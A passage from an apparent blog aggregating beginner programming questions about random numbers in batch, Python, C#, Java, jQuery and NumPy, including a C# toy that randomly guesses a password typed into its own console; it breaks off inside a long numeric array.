jeudi 31 août 2017

Batch File use to run command immediately, now there is a delay of 10-12 seconds

I haven't changed anything in the file, and it worked perfectly for over a month, but now this delay is really starting to annoy me and I can't for the life of me figure out how to fix it.

@echo off

Setlocal EnableDelayedExpansion

set "Music_PATH=C:\Music\ESmusic"
set counter=0

for /f "tokens=*" %%a in ('forfiles /p "%Music_PATH%" /m *mp3') do (
set Rand_PATH[!counter!]=%%~nxa
set /a counter+=1
)

set /a Random_Music=%random% %% %counter%
set "Full_PATH=%Music_PATH%\!Rand_PATH[%Random_Music%]!"

echo Random Music & echo. & echo !Rand_PATH[%Random_Music%]!
start "" "%Full_PATH%"

Timeout 23
taskkill /f /IM winamp.exe


pause >nul

Here is the file for reference. Any and all help is appreciated!




Random number example program?

I have been reading up on random numbers in computers, and I have learned the following.

  • Random numbers are actually "pseudo-random", meaning they are not actually random.

  • There is an algorithmic program that generates these numbers.

What I'm wondering, what does this program look like exactly? I would prefer to see this in Python or C if possible.

Much thanks.




Randomizing NetworkX output

Suppose I have a nx.Graph object g that has two or more cycles. If I call nx.find_cycle, the output is always the same. I wonder if there is a built-in way to randomize the output, say, by accessing the NetworkX internal random state. The find_cycles function is just an example, I am interested in randomizing output of other NetworkX functions as well.




Give Value to Console Window than try to guess given value, but it is instant giving me the right value. But there are around 1000 of possibilitys

My Code is this and at my first run it all worked fine, than i tried to make it faster , doesnt worked to make it faster, changed it back and now Iam getting instant after 0,0027... seconds the right value. That cant be possible if u think on all the possibilitys. It is like the Programm is passing the String Password direct to PasswordTry. Can u help me fix it, in the first run it took 58 seconds to guess 2 letters.

    static List<char> Chars = new List<char>();
    static Random rnd = new Random();
    static int Periods;
    static string Password;
    static string PasswordTry;
    static Stopwatch sw = new Stopwatch();
    static List<string> Strings = new List<string>();

    static void Main(string[] args)
    {
        AddChars();
        Console.Write("Periods: ");
        Periods = Convert.ToInt32(Console.ReadLine());
        Console.Write("Password: ");
        Password = Console.ReadLine();

        sw.Start();
        while (Password != PasswordTry)
        {
            int i = 0;
            for (i = 0; i < Periods; i++)
            {
                PasswordTry += (char)rnd.Next((char)Chars[0], (char)Chars[Chars.Count - 1]);

                if (PasswordTry.Length == Periods)
                {
                    if (Strings.Contains(PasswordTry))
                    {
                        PasswordTry = String.Empty;
                        i = 0;
                    }
                }
            }

            if (PasswordTry == Password)
            {
                Console.WriteLine("Password: " + Password);
                Console.WriteLine(sw.Elapsed);
                sw.Stop();
                Console.ReadLine();
            }
            else
            {
                Strings.Add(PasswordTry);
                PasswordTry = String.Empty;
            }

            //if (PasswordTry.Length == Periods)
            //{
            //    PasswordTry = String.Empty;
            //}                
        }
    }

    private static void AddChars()
    {
        Chars.Add('a');
        Chars.Add('b');
        Chars.Add('c');
        Chars.Add('d');
        Chars.Add('e');
        Chars.Add('f');
        Chars.Add('g');
        Chars.Add('h');
        Chars.Add('i');
        Chars.Add('j');
        Chars.Add('k');
        Chars.Add('l');
        Chars.Add('m');
        Chars.Add('n');
        Chars.Add('o');
        Chars.Add('p');
        Chars.Add('q');
        Chars.Add('r');
        Chars.Add('s');
        Chars.Add('t');
        Chars.Add('u');
        Chars.Add('v');
        Chars.Add('w');
        Chars.Add('x');
        Chars.Add('y');
        Chars.Add('z');
        Chars.Add('ß');
        Chars.Add('A');
        Chars.Add('B');
        Chars.Add('C');
        Chars.Add('D');
        Chars.Add('E');
        Chars.Add('F');
        Chars.Add('G');
        Chars.Add('H');
        Chars.Add('I');
        Chars.Add('J');
        Chars.Add('K');
        Chars.Add('L');
        Chars.Add('M');
        Chars.Add('N');
        Chars.Add('O');
        Chars.Add('P');
        Chars.Add('Q');
        Chars.Add('R');
        Chars.Add('S');
        Chars.Add('T');
        Chars.Add('U');
        Chars.Add('V');
        Chars.Add('W');
        Chars.Add('X');
        Chars.Add('Y');
        Chars.Add('Z');
        Chars.Add('ẞ');
        Chars.Add('1');
        Chars.Add('2');
        Chars.Add('3');
        Chars.Add('4');
        Chars.Add('5');
        Chars.Add('6');
        Chars.Add('7');
        Chars.Add('8');
        Chars.Add('9');
        Chars.Add('!');
        Chars.Add('"');
        Chars.Add('§');
        Chars.Add('$');
        Chars.Add('%');
        Chars.Add('&');
        Chars.Add('/');
        Chars.Add('(');
        Chars.Add(')');
        Chars.Add('=');
        Chars.Add('?');
        Chars.Add('´');
        Chars.Add('@');
        Chars.Add('²');
        Chars.Add('³');
        Chars.Add('€');
        Chars.Add('{');
        Chars.Add('[');
        Chars.Add(']');
        Chars.Add('}');
        Chars.Add('\"');
        Chars.Add('`');
        Chars.Add('+');
        Chars.Add('*');
        Chars.Add('~');
        Chars.Add('#');
        Chars.Add('^');
        Chars.Add('°');
        Chars.Add('-');
        Chars.Add('_');
        Chars.Add('.');
        Chars.Add(':');
        Chars.Add(',');
        Chars.Add(';');
        Chars.Add(' ');
        Chars.Add('<');
        Chars.Add('>');
        Chars.Add('|');
    }
}

}




JAVA - Avoid duplication in String[]

the question is pretty common, but, because I'm a Java noob and I haven't much pratice with it, I couldn't applicate the case and the answers I found in other topic. So here's my case:

I want to have an ArrayList containing the file's name of a specified folder, and with this code I can have it:

File dir = new File(" ++++++ Insert Path Here ++++++");
        List<String> list = Arrays.asList(dir.list(new FilenameFilter() {

            @Override
            public boolean accept(File dir, String name) {
                return name.endsWith(".mp3");
            }
        }));

String[] stockArr = new String[list.size()];
        stockArr = list.toArray(stockArr);

After that, I want to name some JButtons with random Strings contained in stockArr, ok, pretty easy to do:

        JButton bottone1 = new JButton();
        JButton bottone2 = new JButton();
        JButton bottone3 = new JButton();

        Random r = new Random();

        bottone1.setText(stockArr[r.nextInt(stockArr.length)]);
        bottone2.setText(stockArr[r.nextInt(stockArr.length)]);
        bottone3.setText(stockArr[r.nextInt(stockArr.length)]);

Now my problem: How I can avoid to have duplicate random String in JButton's Text?

P.S.: I have to say that sometimes, searching for answer, I couldn't understand someone's suggestion beacause they write just a part of the code, or they assume that other person have the knowledge to understand at full what they write. So I'm asking if you please can be more specific at possible, step after step, just like tutorial, that will be very appreciate :)

Thanks in advance

The whole code:

import java.awt.Container;
import java.io.*;
import java.util.*;
import javax.swing.*;

public class BottoniRandom {

    public static void main(String[] args) {

        JFrame finestra = new JFrame("ESEMPIO");
        finestra.setBounds(100, 500, 300, 200);

        Container contenuto = finestra.getContentPane();
        contenuto.setLayout(new BoxLayout(contenuto, BoxLayout.Y_AXIS));

        JButton bottone1 = new JButton();
        JButton bottone2 = new JButton();
        JButton bottone3 = new JButton();

        File dir = new File(" ++++++ Insert Path Here ++++++");
        List<String> list = Arrays.asList(dir.list(new FilenameFilter() {

            @Override
            public boolean accept(File dir, String name) {
                return name.endsWith(".mp3");
            }
        }));

        String[] stockArr = new String[list.size()];
        stockArr = list.toArray(stockArr);
        System.out.println(stockArr.length);
        Random r = new Random();

        bottone1.setText(stockArr[r.nextInt(stockArr.length)]);
        bottone2.setText(stockArr[r.nextInt(stockArr.length)]);
        bottone3.setText(stockArr[r.nextInt(stockArr.length)]);

        contenuto.add(bottone1);
        contenuto.add(bottone2);
        contenuto.add(bottone3);

        finestra.setVisible(true);
        finestra.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

    }

}




TypeError: list() takes at most 1 argument (2 given)

I am getting an error that says list() takes one argument and I tried to fix the line sample=random.sample(list(zip(data.sentence,data["labels"]),test_cases)) but i was unsuccessful (where I tried to pass like list([]))

Here is the error log


TypeError                                 Traceback (most recent call last)
<ipython-input-320-f89ff3d9d45e> in <module>()
----> 1 random_sample_testing(data,model,tfidf_vectorizer,5)

<ipython-input-319-d6cc87a3cea8> in random_sample_testing(data, model, tfidf_vectorizer, test_cases)
      2 def random_sample_testing(data,model,tfidf_vectorizer,test_cases):
      3     print (model)
----> 4     sample=random.sample(list(zip(data.sentence,data["labels"]),test_cases))
      5     new_term_freq_matrix = tfidf_vectorizer.transform([i[0] for i in sample])
      6     new_term_freq_matrix=new_term_freq_matrix.todense()

TypeError: list() takes at most 1 argument (2 given)


import random
def random_sample_testing(data,model,tfidf_vectorizer,test_cases):
    print (model)
    sample=random.sample(list(zip(data.sentence,data["labels"]),test_cases))
    new_term_freq_matrix = tfidf_vectorizer.transform([i[0] for i in sample])
    new_term_freq_matrix=new_term_freq_matrix.todense()
    for i in zip(zip([i[0] for i in sample],[i[1] for i in sample]),model.predict(new_term_freq_matrix)):
        print (i[0][0])
        print ("Actual::\t",i[0][1],"\nPredicted::\t",i[1])




mercredi 30 août 2017

Getting the sum of randomly generated numbers from 4 sources (jquery)

New to coding. I have 4 buttons that will generate a random number. I need those numbers to continue to adding up every time one of the buttons is clicked. If I click button 1 then button 2, I need them to add. If I click button 2 twice, I need it to perform the random number function twice, then add both of those random numbers.

function getRandomArbitrary(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min)) + min; 
console.log()
}

$('#crystal1').click(function() {
   crystal1Num = getRandomArbitrary(1,25);
   $("#crystalValues").html(crystal1Num);
   crystalValue = parseInt($("#crystalValues").html());
   console.log(crystalValue)
})

$('#crystal2').click(function() {
   crystal2Num = getRandomArbitrary(26,50);
   $("#crystalValues").html(crystal2Num);
   crystalValue = parseInt($("#crystalValues").html());
   console.log(crystalValue)
})

$('#crystal3').click(function() {
   crystal3Num = getRandomArbitrary(51,75);
   $("#crystalValues").html(crystal3Num);
   crystalValue = parseInt($("#crystalValues").html());
   console.log(crystalValue)
})

$('#crystal4').click(function() {
   crystal4Num = getRandomArbitrary(76,100);
   $("#crystalValues").html(crystal4Num);
   crystalValue = parseInt($("#crystalValues").html());
   console.log(crystalValue)
})


<!-- html is here -->
<body>
    <div class="container">
        <div class="jumbotron text-center">
            <div class="randNumContainer">
                <button id="generatebtn" class="btn btn-default btn-lg 
btn-primary">
                Generate Random Number
                </button>
                <h1 id="numberRand">0</h1>
            </div>
            <div class="valuesContainer">
                <h1 id="crystalValues">0</h1>
            </div>
            <div class="btnContainer container text-center">
                <button id="crystal1" class="btn btn-default btn-lg 
                 btn-primary crystalBtn">
                Crystal 1
                </button>
                <button id="crystal2" class="btn btn-default btn-lg 
                 btn-primary crystalBtn">
                Crystal 2
                </button>
                <button id="crystal3" class="btn btn-default btn-lg 
                 btn-primary crystalBtn">
                Crystal 3
                </button>
                <button id="crystal4" class="btn btn-default btn-lg 
                 btn-primary crystalBtn">
                Crystal 4
                </button>
             </div>
         </div>
     </div>
   </body>




Iterate over array of arrays to match objects in response array and then pull them out into new array

I am trying to pass a response array and also another array that has arrays that will match certain objects in the response array. As it is doing that it will take those matched objects, randomize them and then add them to a new array, repeating as it goes through the objects of the passed arrays. After finding matches and randomizing it will need to randomize the remaining response array and add it to the new array. This will need to happen in chunks, first set of matched objects, second, third, etc... I have it matching key and values currently, but since an object’s properties are not ordered it is creating issues. Any help is greatly appreciated.

let sortObject = [
    ['company', 'some_name'],
    ['page_type', 'some_page']
];

function (array, sortObject) {
let currentIndex = array.length;
let temporaryValue;
let randomIndex;

// Find matching properties in array
function findByMatchingProperties (array, properties) {
    return array.filter(function (entry) {
        return Object.keys(properties).every(function (key) {
            return entry[key] === properties[key];
        });
    });
}

// Use sortObject to array of arrays with objects to match
let results = findByMatchingProperties(array, sortObject);

function _randomizeArray (results) {
    // Pick a remaining element.
    randomIndex = Math.floor(Math.random() * currentIndex);
    currentIndex -= 1;

    // And swap it with the current element.
    temporaryValue = results[currentIndex];
    results[currentIndex] = results[randomIndex];
    results[randomIndex] = temporaryValue;
}

// While there remain elements to shuffle.
while (0 !== currentIndex) {
    _randomizeArray(results);
    return results;
}

};




Fill array combining segmented limits and number of elements stored in a separated array

I need to improve as much as possible the performance of the function defined below. It is called millions of times, and the for loop is currently the bottleneck of my code.

The function takes ranges defined in x and a number of elements inside each range defined in y. If the number of elements N in a range is < 1, combine it with adjacent upper segments until N>1. When this condition is fulfilled, generate a random number of N elements within that range, and store the result in the final array d.

# Sample data. Changes with every call to func().
x = np.arange(0.11, 1000., 0.1)
y = [1881.44972, 719.75073, 372.08464, 241.89332, 175.18145, 121.59943, 83.14836, 60.02836, 45.13496, 35.02594, 27.87664, 22.6501, 18.72337, 15.70481, 13.33868, 11.45254, 9.92687, 8.67683, 7.6409, 6.77366, 6.04099, 5.41692, 4.88137, 4.41865, 4.01638, 3.66464, 3.35548, 3.08242, 2.84015, 2.6243, 2.43123, 2.2579, 2.10178, 1.96069, 1.8328, 1.71655, 1.6106, 1.51378, 1.42511, 1.3437, 1.2688, 1.19975, 1.13596, 1.07693, 1.02221, 0.97139, 0.92411, 0.88007, 0.83898, 0.80059, 0.76467, 0.73102, 0.69945, 0.6698, 0.64193, 0.61568, 0.59095, 0.56762, 0.54559, 0.52477, 0.50507, 0.48641, 0.46873, 0.45195, 0.43602, 0.42089, 0.40649, 0.3928, 0.37975, 0.36732, 0.35547, 0.34415, 0.33335, 0.32302, 0.31315, 0.30371, 0.29467, 0.28601, 0.27771, 0.26975, 0.26211, 0.25479, 0.24775, 0.24099, 0.23448, 0.22823, 0.22222, 0.21643, 0.21085, 0.20548, 0.2003, 0.1953, 0.19049, 0.18584, 0.18135, 0.17702, 0.17283, 0.16879, 0.16488, 0.16109, 0.15744, 0.15389, 0.15047, 0.14715, 0.14393, 0.14082, 0.1378, 0.13487, 0.13203, 0.12928, 0.1266, 0.12401, 0.12149, 0.11905, 0.11667, 0.11436, 0.11212, 0.10994, 0.10782, 0.10576, 0.10375, 0.1018, 0.0999, 0.09805, 0.09625, 0.0945, 0.09279, 0.09113, 0.0895, 0.08792, 0.08638, 0.08488, 0.08342, 0.08199, 0.08059, 0.07923, 0.0779, 0.07661, 0.07534, 0.07411, 0.0729, 0.07172, 0.07057, 0.06945, 0.06835, 0.06727, 0.06622, 0.06519, 0.06419, 0.06321, 0.06225, 0.06131, 0.06039, 0.05948, 0.0586, 0.05774, 0.0569, 0.05607, 0.05526, 0.05447, 0.05369, 0.05293, 0.05218, 0.05145, 0.05074, 0.05003, 0.04935, 0.04867, 0.04801, 0.04736, 0.04673, 0.0461, 0.04549, 0.04489, 0.0443, 0.04372, 0.04316, 0.0426, 0.04205, 0.04152, 0.04099, 0.04047, 0.03996, 0.03946, 0.03897, 0.03849, 0.03802, 0.03756, 0.0371, 0.03665, 0.03621, 0.03578, 0.03535, 0.03493, 0.03452, 0.03412, 0.03372, 0.03333, 0.03294, 0.03256, 0.03219, 0.03183, 0.03147, 0.03111, 0.03076, 0.03042, 0.03008, 0.02975, 0.02942, 0.0291, 0.02878, 0.02847, 0.02817, 0.02786, 0.02757, 0.02727, 0.02698, 0.0267, 0.02642, 0.02614, 0.02587, 0.0256, 0.02534, 0.02508, 0.02482, 0.02457, 0.02432, 0.02408, 0.02384, 0.0236, 0.02336, 0.02313, 0.0229, 0.02268, 0.02246, 0.02224, 0.02202, 0.02181, 0.0216, 0.02139, 0.02119, 0.02099, 0.02079, 0.0206, 0.0204, 0.02021, 0.02002, 0.01984, 0.01966, 0.01947, 0.0193, 0.01912, 0.01895, 0.01878, 0.01861, 0.01844, 0.01827, 0.01811, 0.01795, 0.01779, 0.01764, 0.01748, 0.01733, 0.01718, 0.01703, 0.01688, 0.01674, 0.01659, 0.01645, 0.01631, 0.01617, 0.01604, 0.0159, 0.01577, 0.01564, 0.01551, 0.01538, 0.01525, 0.01512, 0.015, 0.01488, 0.01476, 0.01464, 0.01452, 0.0144, 0.01429, 0.01417, 0.01406, 0.01395, 0.01384, 0.01373, 0.01362, 0.01351, 0.01341, 0.0133, 0.0132, 0.0131, 0.013, 0.0129, 0.0128, 0.0127, 0.0126, 0.01251, 0.01241, 0.01232, 0.01223, 0.01213, 0.01204, 0.01195, 0.01187, 0.01178, 0.01169, 0.01161, 0.01152, 0.01144, 0.01135, 0.01127, 0.01119, 0.01111, 0.01103, 0.01095, 0.01087, 0.01079, 0.01072, 0.01064, 0.01057, 0.01049, 0.01042, 0.01035, 0.01027, 0.0102, 0.01013, 0.01006, 0.00999, 0.00992, 0.00986, 0.00979, 0.00972, 0.00966, 0.00959, 0.00953, 0.00946, 0.0094, 0.00934, 0.00927, 0.00921, 0.00915, 0.00909, 0.00903, 0.00897, 0.00891, 0.00886, 0.0088, 0.00874, 0.00868, 0.00863, 0.00857, 0.00852, 0.00846, 0.00841, 0.00836, 0.0083, 0.00825, 0.0082, 0.00815, 0.0081, 0.00804, 0.00799, 0.00794, 0.0079, 0.00785, 0.0078, 0.00775, 0.0077, 0.00765, 0.00761, 0.00756, 0.00752, 0.00747, 0.00742, 0.00738, 0.00734, 0.00729, 0.00725, 0.0072, 0.00716, 0.00712, 0.00708, 0.00704, 0.00699, 0.00695, 0.00691, 0.00687, 0.00683, 0.00679, 0.00675, 0.00671, 0.00667, 0.00664, 0.0066, 0.00656, 0.00652, 0.00649, 0.00645, 0.00641, 0.00638, 0.00634, 0.0063, 0.00627, 0.00623, 0.0062, 0.00616, 0.00613, 0.0061, 0.00606, 0.00603, 0.00599, 0.00596, 0.00593, 0.0059, 0.00586, 0.00583, 0.0058, 0.00577, 0.00574, 0.00571, 0.00568, 0.00565, 0.00562, 0.00559, 0.00556, 0.00553, 0.0055, 0.00547, 0.00544, 0.00541, 0.00538, 0.00535, 0.00533, 0.0053, 0.00527, 0.00524, 0.00522, 0.00519, 0.00516, 0.00514, 0.00511, 0.00508, 0.00506, 0.00503, 0.00501, 0.00498, 0.00495, 0.00493, 0.0049, 0.00488, 0.00486, 0.00483, 0.00481, 0.00478, 0.00476, 0.00474, 0.00471, 0.00469, 0.00467, 0.00464, 0.00462, 0.0046, 0.00457, 0.00455, 0.00453, 0.00451, 0.00449, 0.00446, 0.00444, 0.00442, 0.0044, 0.00438, 0.00436, 0.00434, 0.00432, 0.0043, 0.00427, 0.00425, 0.00423, 0.00421, 0.00419, 0.00417, 0.00415, 0.00414, 0.00412, 0.0041, 0.00408, 0.00406, 0.00404, 0.00402, 0.004, 0.00398, 0.00397, 0.00395, 0.00393, 0.00391, 0.00389, 0.00388, 0.00386, 0.00384, 0.00382, 0.00381, 0.00379, 0.00377, 0.00375, 0.00374, 0.00372, 0.0037, 0.00369, 0.00367, 0.00366, 0.00364, 0.00362, 0.00361, 0.00359, 0.00357, 0.00356, 0.00354, 0.00353, 0.00351, 0.0035, 0.00348, 0.00347, 0.00345, 0.00344, 0.00342, 0.00341, 0.00339, 0.00338, 0.00336, 0.00335, 0.00333, 0.00332, 0.00331, 0.00329, 0.00328, 0.00326, 0.00325, 0.00324, 0.00322, 0.00321, 0.0032, 0.00318, 0.00317, 0.00316, 0.00314, 0.00313, 0.00312, 0.0031, 0.00309, 0.00308, 0.00307, 0.00305, 0.00304, 0.00303, 0.00302, 0.003, 0.00299, 0.00298, 0.00297, 0.00296, 0.00294, 0.00293, 0.00292, 0.00291, 0.0029, 0.00288, 0.00287, 0.00286, 0.00285, 0.00284, 0.00283, 0.00282, 0.00281, 0.00279, 0.00278, 0.00277, 0.00276, 0.00275, 0.00274, 0.00273, 0.00272, 0.00271, 0.0027, 0.00269, 0.00268, 0.00267, 0.00266, 0.00265, 0.00263, 0.00262, 0.00261, 0.0026, 0.00259, 0.00258, 0.00257, 0.00256, 0.00256, 0.00255, 0.00254, 0.00253, 0.00252, 0.00251, 0.0025, 0.00249, 0.00248, 0.00247, 0.00246, 0.00245, 0.00244, 0.00243, 0.00242, 0.00241, 0.00241, 0.0024, 0.00239, 0.00238, 0.00237, 0.00236, 0.00235, 0.00234, 0.00234, 0.00233, 0.00232, 0.00231, 0.0023, 0.00229, 0.00229, 0.00228, 0.00227, 0.00226, 0.00225, 0.00224, 0.00224, 0.00223, 0.00222, 0.00221, 0.0022, 0.0022, 0.00219, 0.00218, 0.00217, 0.00217, 0.00216, 0.00215, 0.00214, 0.00214, 0.00213, 0.00212, 0.00211, 0.00211, 0.0021, 0.00209, 0.00208, 0.00208, 0.00207, 0.00206, 0.00205, 0.00205, 0.00204, 0.00203, 0.00203, 0.00202, 0.00201, 0.00201, 0.002, 0.00199, 0.00199, 0.00198, 0.00197, 0.00197, 0.00196, 0.00195, 0.00195, 0.00194, 0.00193, 0.00193, 0.00192, 0.00191, 0.00191, 0.0019, 0.00189, 0.00189, 0.00188, 0.00187, 0.00187, 0.00186, 0.00186, 0.00185, 0.00184, 0.00184, 0.00183, 0.00183, 0.00182, 0.00181, 0.00181, 0.0018, 0.0018, 0.00179, 0.00178, 0.00178, 0.00177, 0.00177, 0.00176, 0.00176, 0.00175, 0.00174, 0.00174, 0.00173, 0.00173, 0.00172, 0.00172, 0.00171, 0.00171, 0.0017, 0.00169, 0.00169, 0.00168, 0.00168, 0.00167, 0.00167, 0.00166, 0.00166, 0.00165, 0.00165, 0.00164, 0.00164, 0.00163, 0.00163, 0.00162, 0.00162, 0.00161, 0.00161, 0.0016, 0.0016, 0.00159, 0.00159, 0.00158, 0.00158, 0.00157, 0.00157, 0.00156, 0.00156, 0.00155, 0.00155, 0.00154, 0.00154, 0.00153, 0.00153, 0.00152, 0.00152, 0.00152, 0.00151, 0.00151, 0.0015, 0.0015, 0.00149, 0.00149, 0.00148, 0.00148, 0.00147, 0.00147, 0.00147, 0.00146, 0.00146, 0.00145, 0.00145, 0.00144, 0.00144, 0.00144, 0.00143, 0.00143, 0.00142, 0.00142, 0.00141, 0.00141, 0.00141, 0.0014, 0.0014, 0.00139, 0.00139, 0.00139, 0.00138, 0.00138, 0.00137, 0.00137, 0.00137, 0.00136, 0.00136, 0.00135, 0.00135, 0.00135, 0.00134, 0.00134, 0.00133, 0.00133, 0.00133, 0.00132, 0.00132, 0.00132, 0.00131, 0.00131, 0.0013, 0.0013, 0.0013, 0.00129, 0.00129, 0.00129, 0.00128, 0.00128, 0.00128, 0.00127, 0.00127, 0.00126, 0.00126, 0.00126, 0.00125, 0.00125, 0.00125, 0.00124, 0.00124, 0.00124, 0.00123, 0.00123, 0.00123, 0.00122, 0.00122, 0.00122, 0.00121, 0.00121, 0.00121, 0.0012, 0.0012, 0.0012, 0.00119, 0.00119, 0.00119, 0.00118, 0.00118, 0.00118, 0.00117, 0.00117, 0.00117, 0.00116, 0.00116, 0.00116, 0.00115, 0.00115, 0.00115, 0.00115, 0.00114, 0.00114, 0.00114, 0.00113, 0.00113, 0.00113, 0.00112, 0.00112, 0.00112, 0.00112, 0.00111, 0.00111, 0.00111, 0.0011, 0.0011, 0.0011, 0.00109, 0.00109, 0.00109, 0.00109, 0.00108, 0.00108, 0.00108, 0.00107, 0.00107, 0.00107, 0.00107, 0.00106, 0.00106, 0.00106, 0.00106, 0.00105, 0.00105, 0.00105, 0.00104, 0.00104, 0.00104, 0.00104, 0.00103, 0.00103, 0.00103, 0.00103, 0.00102, 0.00102, 0.00102, 0.00102, 0.00101, 0.00101, 0.00101, 0.00101, 0.001, 0.001, 0.001, 0.00099, 0.00099, 0.00099, 0.00099, 0.00098, 0.00098, 0.00098, 0.00098, 0.00098, 0.00097, 0.00097, 0.00097, 0.00097, 0.00096, 0.00096, 0.00096, 0.00096, 0.00095, 0.00095, 0.00095, 0.00095, 0.00094, 0.00094, 0.00094, 0.00094, 0.00093, 0.00093, 0.00093, 0.00093, 0.00093, 0.00092, 0.00092, 0.00092, 0.00092, 0.00091, 0.00091, 0.00091, 0.00091, 0.00091, 0.0009, 0.0009, 0.0009, 0.0009, 0.00089, 0.00089, 0.00089, 0.00089, 0.00089, 0.00088, 0.00088, 0.00088, 0.00088, 0.00088, 0.00087, 0.00087, 0.00087, 0.00087, 0.00087, 0.00086, 0.00086, 0.00086, 0.00086, 0.00085, 0.00085, 0.00085, 0.00085, 0.00085, 0.00084, 0.00084, 0.00084, 0.00084, 0.00084, 0.00084, 0.00083, 0.00083, 0.00083, 0.00083, 0.00083, 0.00082, 0.00082, 0.00082, 0.00082, 0.00082, 0.00081, 0.00081, 0.00081, 0.00081, 0.00081, 0.0008, 0.0008, 0.0008, 0.0008, 0.0008, 0.0008, 0.00079, 0.00079, 0.00079, 0.00079, 0.00079, 0.00078, 0.00078, 0.00078, 0.00078, 0.00078, 0.00078, 0.00077, 0.00077, 0.00077, 0.00077, 0.00077, 0.00077, 0.00076, 0.00076, 0.00076, 0.00076, 0.00076, 0.00075, 0.00075, 0.00075, 0.00075, 0.00075, 0.00075, 0.00074, 0.00074, 0.00074, 0.00074, 0.00074, 0.00074, 0.00073, 0.00073, 0.00073, 0.00073, 0.00073, 0.00073, 0.00073, 0.00072, 0.00072, 0.00072, 0.00072, 0.00072, 0.00072, 0.00071, 0.00071, 0.00071, 0.00071, 0.00071, 0.00071, 0.0007, 0.0007, 0.0007, 0.0007, 0.0007, 0.0007, 0.0007, 0.00069, 0.00069, 0.00069, 0.00069, 0.00069, 0.00069, 0.00069, 0.00068, 0.00068, 0.00068, 0.00068, 0.00068, 0.00068, 0.00068, 0.00067, 0.00067, 0.00067, 0.00067, 0.00067, 0.00067, 0.00067, 0.00066, 0.00066, 0.00066, 0.00066, 0.00066, 0.00066, 0.00066, 0.00065, 0.00065, 0.00065, 0.00065, 0.00065, 0.00065, 0.00065, 0.00064, 0.00064, 0.00064, 0.00064, 0.00064, 0.00064, 0.00064, 0.00064, 0.00063, 0.00063, 0.00063, 0.00063, 0.00063, 0.00063, 0.00063, 0.00062, 0.00062, 0.00062, 0.00062, 0.00062, 0.00062, 0.00062, 0.00062, 0.00061, 0.00061, 0.00061, 0.00061, 0.00061, 0.00061, 0.00061, 0.00061, 0.0006, 0.0006, 0.0006, 0.0006, 0.0006, 0.0006, 0.0006, 0.0006, 0.00059, 0.00059, 0.00059, 0.00059, 0.00059, 0.00059, 0.00059, 0.00059, 0.00059, 0.00058, 0.00058, 0.00058, 0.00058, 0.00058, 0.00058, 0.00058, 0.00058, 0.00057, 0.00057, 0.00057, 0.00057, 0.00057, 0.00057, 0.00057, 0.00057, 0.00057, 0.00056, 0.00056, 0.00056, 0.00056, 0.00056, 0.00056, 0.00056, 0.00056, 0.00056, 0.00055, 0.00055, 0.00055, 0.00055, 0.00055, 0.00055, 0.00055, 0.00055, 0.00055, 0.00055, 0.00054, 0.00054, 0.00054, 0.00054, 0.00054, 0.00054, 0.00054, 0.00054, 0.00054, 0.00053, 0.00053, 0.00053, 0.00053, 0.00053, 0.00053, 0.00053, 0.00053, 0.00053, 0.00053, 0.00052, 0.00052, 0.00052, 0.00052, 0.00052, 0.00052, 0.00052, 0.00052, 0.00052, 0.00052, 0.00051, 0.00051, 0.00051, 0.00051, 0.00051, 0.00051, 0.00051, 0.00051, 0.00051, 0.00051, 0.0005, 0.0005, 0.0005, 0.0005, 0.0005, 0.0005, 0.0005, 0.0005, 0.0005, 0.0005, 0.0005, 0.00049, 0.00049, 0.00049, 0.00049, 0.00049, 0.00049, 0.00049, 0.00049, 0.00049, 0.00049, 0.00049, 0.00048, 0.00048, 0.00048, 0.00048, 0.00048, 0.00048, 0.00048, 0.00048, 0.00048, 0.00048, 0.00048, 0.00047, 0.00047, 0.00047, 0.00047, 0.00047, 0.00047, 0.00047, 0.00047, 0.00047, 0.00047, 0.00047, 0.00047, 0.00046, 0.00046, 0.00046, 0.00046, 0.00046, 0.00046, 0.00046, 0.00046, 0.00046, 0.00046, 0.00046, 0.00046, 0.00045, 0.00045, 0.00045, 0.00045, 0.00045, 0.00045, 0.00045, 0.00045, 0.00045, 0.00045, 0.00045, 0.00045, 0.00044, 0.00044, 0.00044, 0.00044, 0.00044, 0.00044, 0.00044, 0.00044, 0.00044, 0.00044, 0.00044, 0.00044, 0.00044, 0.00043, 0.00043, 0.00043, 0.00043, 0.00043, 0.00043, 0.00043, 0.00043, 0.00043, 0.00043, 0.00043, 0.00043, 0.00043, 0.00043, 0.00042, 0.00042, 0.00042, 0.00042, 0.00042, 0.00042, 0.00042, 0.00042, 0.00042, 0.00042, 0.00042, 0.00042, 0.00042, 0.00041, 0.00041, 0.00041, 0.00041, 0.00041, 0.00041, 0.00041, 0.00041, 0.00041, 0.00041, 0.00041, 0.00041, 0.00041, 0.00041, 0.0004, 0.0004, 0.0004, 0.0004, 0.0004, 0.0004, 0.0004, 0.0004, 0.0004, 0.0004, 0.0004, 0.0004, 0.0004, 0.0004, 0.0004, 0.00039, 0.00039, 0.00039, 0.00039, 0.00039, 0.00039, 0.00039, 0.00039, 0.00039, 0.00039, 0.00039, 0.00039, 0.00039, 0.00039, 0.00039, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00038, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00037, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00036, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00035, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00034, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00033, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 0.00032, 